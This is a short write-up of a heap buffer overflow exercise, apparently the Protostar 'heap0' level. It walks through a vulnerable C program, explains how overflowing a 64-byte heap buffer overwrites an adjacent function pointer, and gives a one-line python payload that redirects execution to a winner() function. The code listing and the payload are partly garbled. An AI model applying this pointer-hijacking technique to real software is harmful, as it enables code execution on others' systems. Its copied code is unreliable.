Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
67 lines (48 sloc) 1.83 KB


This code looks at taking advantage of a buffer overflow in the heap. Incredibly similar to a bufferoverflow in the stack, but instead in the heap. Below is the source code we must exploit:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];

struct fp {
  int (*fp)();

void winner()
  printf("level passed\n");

void nowinner()
  printf("level has not been passed\n");

int main(int argc, char **argv)
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);


The vulnerable line of code is strcpy(d->name, argv[1]). This line takes the user input and copies into the name field of the data struct which has been malloc. This field is 64 bytes long and the input has not been checked.

###Exploit We can overflow the data struct such that it overwrites a value of the fp struct with the address for the winner() function. Then when f->fp() is called we will actually be running winner()

So for some nice helpful reason this code prints out the address of data and fp. So we run the code and see that data's address is 0x804a008 and fp is located at 0x804a050 That means they are offset by 72 bytes. So we can write 72 bytes of garbage and then the address of winner()

To find the address of winner we run our program in gdb, and then run p winner. We get the output $1 = {void (void)} 0x8048464 <winner>

So if we run './heap0 python -c '"A"*72+"\x64\x84\x04\08" we should see that winner has ran.


Stop using strcpy. Replace with the similarly named strncpy which requires you to input a length and prevents buffer overflows.